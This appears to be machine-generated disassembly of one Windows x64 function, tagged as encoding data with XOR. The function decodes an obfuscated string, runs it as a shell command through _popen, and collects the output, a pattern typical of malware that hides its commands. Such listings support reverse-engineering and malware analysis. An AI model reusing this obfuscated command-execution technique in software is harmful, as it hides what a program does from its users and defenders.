Function at 0x140002f10
Capabilities:
Encode data using xor

Disassembly:
mov rax, rsp
mov qword [rax + 0x18], rbx
push rbp
push rsi
push rdi
lea rbp, [rax - 0x78]
sub rsp, 0x160
movaps xmmword [rax - 0x28], xmm6
movaps xmmword [rax - 0x38], xmm7
mov rax, qword [0x14008e180]
xor rax, rsp
mov qword [rbp + 0x30], rax
mov r8, rdx
mov rbx, rcx
mov qword [rsp + 0x20], rcx
xor esi, esi
movups xmm3, xmmword [0x1400784d0]
movups xmmword [rsp + 0x28], xmm3
movsd xmm0, qword [0x1400784e0]
movsd qword [rsp + 0x38], xmm0
movzx eax, word [0x1400784e8]
mov word [rsp + 0x40], ax
cmp byte [0x1400784e9], sil
je 0x14000322d
mov ecx, esi
cmp dword [0x14008e1d8], 2
jl 0x1400031eb
movdqa xmm5, xmmword [0x140078e00]
movdqa xmm6, xmmword [0x140078d80]
movdqa xmm7, xmmword [0x140078e10]
movdqa xmm2, xmmword [0x140078d40]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm5
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm5
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
movdqa xmm4, xmmword [0x140078df0]
andps xmm2, xmm4
packuswb xmm2, xmm2
packuswb xmm2, xmm2
psubb xmm2, xmm7
movd eax, xmm3
movd xmm0, eax
xorps xmm2, xmm0
movd dword [rsp + 0x28], xmm2
movdqa xmm2, xmmword [0x140078d60]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm5
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm5
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
andps xmm2, xmm4
packuswb xmm2, xmm2
packuswb xmm2, xmm2
psubb xmm2, xmm7
movd xmm0, dword [rsp + 0x2c]
xorps xmm2, xmm0
movd dword [rsp + 0x2c], xmm2
movdqa xmm3, xmmword [0x140078d90]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm5
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm5
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
andps xmm3, xmm4
packuswb xmm3, xmm3
packuswb xmm3, xmm3
psubb xmm3, xmm7
movd xmm0, dword [rsp + 0x30]
xorps xmm3, xmm0
movd dword [rsp + 0x30], xmm3
movdqa xmm2, xmmword [0x140078db0]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm5
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm5
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
andps xmm2, xmm4
packuswb xmm2, xmm2
packuswb xmm2, xmm2
psubb xmm2, xmm7
movd xmm0, dword [rsp + 0x34]
xorps xmm2, xmm0
movd dword [rsp + 0x34], xmm2
movdqa xmm3, xmmword [0x140078dd0]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm5
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm5
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
andps xmm3, xmm4
packuswb xmm3, xmm3
packuswb xmm3, xmm3
psubb xmm3, xmm7
movd xmm0, dword [rsp + 0x38]
xorps xmm3, xmm0
movd dword [rsp + 0x38], xmm3
movdqa xmm2, xmmword [0x140078de0]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm5
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm5
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
andps xmm2, xmm4
packuswb xmm2, xmm2
packuswb xmm2, xmm2
psubb xmm2, xmm7
movd xmm0, dword [rsp + 0x3c]
xorps xmm2, xmm0
movd dword [rsp + 0x3c], xmm2
mov ecx, 0x18
mov eax, ecx
lea r9, [rsp + 0x28]
add r9, rax
nop word [rax + rax]
mov eax, 0x38e38e39
imul ecx
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movzx eax, dl
shl al, 3
add dl, al
movzx eax, cl
sub al, dl
sub al, 0x6d
xor byte [r9], al
inc ecx
lea r9, [r9 + 1]
cmp ecx, 0x1a
jl 0x140003200
lea rdx, [rsp + 0x28]
lea rcx, [rsp + 0x50]
call fcn.1400165b0
nop
mov r8d, 1
lea rdx, [0x140077424]
mov rcx, rax
call fcn.140015f30
xorps xmm0, xmm0
movups xmmword [rbp - 0x70], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x60], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rbp - 0x70], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp - 0x60], xmm1
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rax], 0
mov rdx, qword [rsp + 0x68]
cmp rdx, 0xf
jbe 0x1400032bf
inc rdx
mov rcx, qword [rsp + 0x50]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400032ba
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400032ba
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140066284
xorps xmm0, xmm0
movups xmmword [rsp + 0x70], xmm0
movdqa xmm1, xmmword [0x140078d30]
movdqu xmmword [rbp - 0x80], xmm1
mov byte [rsp + 0x70], 0
lea rcx, [rbp - 0x70]
cmp qword [rbp - 0x58], 0xf
cmova rcx, qword [rbp - 0x70]
lea rdx, [0x140077428]
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll__popen]
mov rdi, rax
test rax, rax
jne 0x14000341d
mov eax, dword [0x140077b54]
mov dword [rsp + 0x20], eax
movzx eax, word [0x140077b58]
mov word [rsp + 0x24], ax
mov byte [rsp + 0x20], 0x65
xor byte [rsp + 0x21], 0x94
xor byte [rsp + 0x22], 0x95
xor byte [rsp + 0x23], 0x96
xor al, 0x97
mov byte [rsp + 0x24], al
xor byte [rsp + 0x25], 0x98
xorps xmm0, xmm0
movups xmmword [rbx], xmm0
mov qword [rbx + 0x10], rsi
mov qword [rbx + 0x18], rsi
lea rax, [rsp + 0x20]
mov r8, 0xffffffffffffffff
nop
inc r8
cmp byte [rax + r8], 0
jne 0x140003350
lea rdx, [rsp + 0x20]
mov rcx, rbx
call fcn.140004e70
nop
mov rdx, qword [rbp - 0x78]
cmp rdx, 0xf
jbe 0x1400033a4
inc rdx
mov rcx, qword [rsp + 0x70]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000339f
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000351c
call fcn.140066284
movdqa xmm0, xmmword [0x140078d30]
movdqu xmmword [rbp - 0x80], xmm0
mov byte [rsp + 0x70], 0
mov rdx, qword [rbp - 0x58]
cmp rdx, 0xf
jbe 0x1400033f1
inc rdx
mov rcx, qword [rbp - 0x70]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400033ec
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140003583
call fcn.140066284
mov rax, rbx
mov rcx, qword [rbp + 0x30]
xor rcx, rsp
call fcn.140066220
lea r11, [rsp + 0x160]
mov rbx, qword [r11 + 0x30]
movaps xmm6, xmmword [r11 - 0x10]
movaps xmm7, xmmword [r11 - 0x20]
mov rsp, r11
pop rdi
pop rsi
pop rbp
ret
mov r8, rdi
mov edx, 0x80
lea rcx, [rbp - 0x50]
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fgets]
test rax, rax
je 0x140003465
nop dword [rax]
nop dword [rax + rax]
lea rdx, [rbp - 0x50]
lea rcx, [rsp + 0x70]
call fcn.140014ed0
mov r8, rdi
mov edx, 0x80
lea rcx, [rbp - 0x50]
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fgets]
test rax, rax
jne 0x140003440
mov rcx, rdi
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll__pclose]
test eax, eax
je 0x140003523
mov eax, dword [0x140077b54]
mov dword [rsp + 0x20], eax
movzx eax, word [0x140077b58]
mov word [rsp + 0x24], ax
mov byte [rsp + 0x20], 0x65
xor byte [rsp + 0x21], 0x94
xor byte [rsp + 0x22], 0x95
xor byte [rsp + 0x23], 0x96
xor al, 0x97
mov byte [rsp + 0x24], al
xor byte [rsp + 0x25], 0x98
xorps xmm0, xmm0
movups xmmword [rbx], xmm0
mov qword [rbx + 0x10], rsi
mov qword [rbx + 0x18], rsi
lea rax, [rsp + 0x20]
mov r8, 0xffffffffffffffff
inc r8
cmp byte [rax + r8], 0
jne 0x1400034c5
lea rdx, [rsp + 0x20]
mov rcx, rbx
call fcn.140004e70
nop
mov rdx, qword [rbp - 0x78]
cmp rdx, 0xf
jbe 0x1400033a4
inc rdx
mov rcx, qword [rsp + 0x70]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000339f
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000339f
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
movups xmm0, xmmword [rsp + 0x70]
movups xmmword [rbx], xmm0
movups xmm1, xmmword [rbp - 0x80]
movups xmmword [rbx + 0x10], xmm1
movdqa xmm0, xmmword [0x140078d30]
movdqu xmmword [rbp - 0x80], xmm0
mov byte [rsp + 0x70], 0
mov rdx, qword [rbp - 0x58]
cmp rdx, 0xf
jbe 0x1400033f1
inc rdx
mov rcx, qword [rbp - 0x70]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400033ec
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400033ec
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3